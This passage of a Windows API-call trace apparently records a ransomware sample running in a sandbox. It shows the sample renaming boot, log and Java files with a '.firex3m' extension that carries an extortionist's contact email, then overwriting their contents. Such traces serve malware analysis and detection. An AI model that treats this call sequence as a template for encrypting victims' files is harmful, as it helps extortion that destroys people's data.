hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0093.490] Sleep (dwMilliseconds=0x1) [0095.526] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Boot\\de-DE\\memtest.exe.mui", len=0x1d | out: pbstr=0x69bff7c*="C:\\Boot\\de-DE\\memtest.exe.mui") returned 1 [0095.526] GetProcessHeap () returned 0x630000 [0095.526] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ad48, Size=0x3c) returned 0x69b330 [0095.527] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.527] Sleep (dwMilliseconds=0x1) [0095.542] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Boot\\da-DK\\memtest.exe.mui", len=0x1d | out: pbstr=0x69bff7c*="C:\\Boot\\da-DK\\memtest.exe.mui") returned 1 [0095.542] GetProcessHeap () returned 0x630000 [0095.542] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b330, Size=0x38) returned 0x6d51c0 [0095.542] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.542] Sleep (dwMilliseconds=0x1) [0095.558] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Boot\\cs-CZ\\memtest.exe.mui", len=0x1d | out: pbstr=0x69bff7c*="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 1 [0095.558] GetProcessHeap () returned 0x630000 [0095.558] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d51c0, Size=0x34) returned 0x6d5200 [0095.558] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0095.558] Sleep (dwMilliseconds=0x1) [0095.573] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Boot\\BOOTSTAT.DAT", len=0x14 | out: pbstr=0x69bff7c*="C:\\Boot\\BOOTSTAT.DAT") returned 1 [0095.573] GetProcessHeap () returned 0x630000 [0095.573] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5200, Size=0x30) returned 0x66c878 [0095.573] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0095.575] CloseHandle (hObject=0x66c) returned 1 [0095.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0095.575] MoveFileW (lpExistingFileName="C:\\Boot\\BOOTSTAT.DAT" (normalized: "c:\\boot\\bootstat.dat"), lpNewFileName="C:\\Boot\\BOOTSTAT.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\boot\\bootstat.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0095.575] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0095.576] FindFirstFileW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BOOTST~1.FIR")) returned 0x6d4e40 [0095.576] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0095.576] CreateFileW (lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\boot\\bootstat.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0095.576] GetProcessHeap () returned 0x630000 [0095.576] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f7c098 [0095.577] GetProcessHeap () returned 0x630000 [0095.577] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6fa8600 [0095.577] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.577] ReadFile (in: hFile=0x66c, lpBuffer=0x6f7c098, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f7c098*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0102.138] GetProcessHeap () returned 0x630000 [0102.138] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee3c8 [0102.138] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.138] WriteFile (in: hFile=0x66c, lpBuffer=0x6fa8600*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa8600*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0102.138] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.139] WriteFile (in: hFile=0x66c, lpBuffer=0x6fb39ff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fb39ff*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0102.139] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0102.139] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0102.139] CloseHandle (hObject=0x66c) returned 1 [0102.141] GetProcessHeap () returned 0x630000 [0102.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa8600 | out: hHeap=0x630000) returned 1 [0102.144] GetProcessHeap () returned 0x630000 [0102.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f7c098 | out: hHeap=0x630000) returned 1 [0102.148] GetProcessHeap () returned 0x630000 [0102.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee3c8 | out: hHeap=0x630000) returned 1 [0102.148] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0102.148] FindFirstFileW (in: lpFileName="C:\\Boot\\BOOTSTAT.DAT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2d4abc1, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10024, dwReserved0=0x9b47496, dwReserved1=0x6f7c090, cFileName="BOOTSTAT.DAT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BOOTST~1.FIR")) returned 0x6d51c0 [0102.148] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0102.149] Sleep (dwMilliseconds=0x1) [0102.358] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Boot\\hu-HU\\memtest.exe.mui", len=0x1d | out: pbstr=0x69bff7c*="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 1 [0102.366] GetProcessHeap () returned 0x630000 [0102.366] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1208 | out: hHeap=0x630000) returned 1 [0102.378] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\memtest.exe.mui" (normalized: "c:\\boot\\hu-hu\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0102.378] Sleep (dwMilliseconds=0x1) [0102.560] Sleep (dwMilliseconds=0x1) [0102.776] Sleep (dwMilliseconds=0x1) [0102.984] Sleep (dwMilliseconds=0x1) [0103.135] Sleep (dwMilliseconds=0x1) [0103.268] Sleep (dwMilliseconds=0x1) [0103.545] Sleep (dwMilliseconds=0x1) [0105.075] Sleep (dwMilliseconds=0x1) [0107.124] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx", len=0x41 | out: pbstr=0x69bff7c*="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 1 [0107.124] GetProcessHeap () returned 0x630000 [0107.124] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x1c) returned 0x6e9008 [0107.124] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0107.124] CloseHandle (hObject=0x6a4) returned 1 [0107.124] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.168] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.169] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.169] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xa00000a, dwReserved1=0x0, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIA3F0~1.FIR")) returned 0x6d51c0 [0107.169] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0107.169] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0107.170] GetProcessHeap () returned 0x630000 [0107.170] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x724a2d0 [0107.170] GetProcessHeap () returned 0x630000 [0107.170] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7255700 [0107.171] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.171] ReadFile (in: hFile=0x6a4, lpBuffer=0x724a2d0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x724a2d0*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.877] GetProcessHeap () returned 0x630000 [0113.877] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feec88 [0113.877] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.877] WriteFile (in: hFile=0x6a4, lpBuffer=0x7255700*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7255700*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.878] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.878] WriteFile (in: hFile=0x6a4, lpBuffer=0x7260aff*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7260aff*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.878] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.878] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.878] CloseHandle (hObject=0x6a4) returned 1 [0113.880] GetProcessHeap () returned 0x630000 [0113.880] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7255700 | out: hHeap=0x630000) returned 1 [0113.881] GetProcessHeap () returned 0x630000 [0113.881] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724a2d0 | out: hHeap=0x630000) returned 1 [0113.882] GetProcessHeap () returned 0x630000 [0113.882] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feec88 | out: hHeap=0x630000) returned 1 [0113.882] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.882] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9df26e9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9df26e9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9d34ff7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0x9b47496, dwReserved1=0x724a2c8, cFileName="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIA3F0~1.FIR")) returned 0x6d5240 [0113.882] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0113.883] Sleep (dwMilliseconds=0x1) [0114.319] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.140] Sleep (dwMilliseconds=0x1) [0115.498] Sleep (dwMilliseconds=0x1) [0115.907] Sleep (dwMilliseconds=0x1) [0117.155] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.185] Sleep (dwMilliseconds=0x1) [0117.562] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.678] Sleep (dwMilliseconds=0x1) [0117.687] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.719] Sleep (dwMilliseconds=0x1) [0119.292] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", len=0x2f | out: pbstr=0x69bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 1 [0119.292] GetProcessHeap () returned 0x630000 [0119.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x150) returned 0x66a3e0 [0119.326] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0119.327] CloseHandle (hObject=0x70c) returned 1 [0119.327] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0119.328] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0119.328] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TZDBDA~1.FIR")) returned 0x6d5580 [0119.328] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0119.328] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0119.328] GetProcessHeap () returned 0x630000 [0119.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7162868 [0119.328] GetProcessHeap () returned 0x630000 [0119.328] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x716dc98 [0119.328] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.328] ReadFile (in: hFile=0x70c, lpBuffer=0x7162868, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162868*, lpNumberOfBytesRead=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0124.975] GetProcessHeap () returned 0x630000 [0124.975] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0124.975] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.975] WriteFile (in: hFile=0x70c, lpBuffer=0x716dc98*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc98*, lpNumberOfBytesWritten=0x69bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0124.976] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.976] WriteFile (in: hFile=0x70c, lpBuffer=0x7179097*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7179097*, lpNumberOfBytesWritten=0x69bff0c*=0x20, lpOverlapped=0x0) returned 1 [0124.976] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.976] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x69bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x69bff0c*=0x4, lpOverlapped=0x0) returned 1 [0124.976] CloseHandle (hObject=0x70c) returned 1 [0124.979] GetProcessHeap () returned 0x630000 [0124.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x716dc98 | out: hHeap=0x630000) returned 1 [0124.979] GetProcessHeap () returned 0x630000 [0124.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7162868 | out: hHeap=0x630000) returned 1 [0124.979] GetProcessHeap () returned 0x630000 [0124.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0128.681] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.681] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfcc4 | out: lpFindFileData=0x69bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x1071425d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x19c40, dwReserved0=0x9b47496, dwReserved1=0x7162860, cFileName="tzdb.dat.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TZDBDA~1.FIR")) returned 0x6d4e00 [0128.682] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0128.682] Sleep (dwMilliseconds=0x1) [0128.771] SysReAllocStringLen (in: pbstr=0x69bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf", len=0x47 | out: pbstr=0x69bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 1 [0128.771] GetProcessHeap () returned 0x630000 [0128.771] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0xa4) returned 0x66a3e0 [0128.771] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6cc [0128.771] CloseHandle (hObject=0x6cc) returned 1 [0128.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0128.772] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0128.772] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x69bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0128.773] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x69bfc6c | out: lpFindFileData=0x69bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x12574, dwReserved0=0x0, dwReserved1=0x0, cFileName="LucidaBrightDemiItalic.ttf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LU28E3~1.FIR")) returned 0x6d5280 [0128.773] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0128.773] CreateFileW 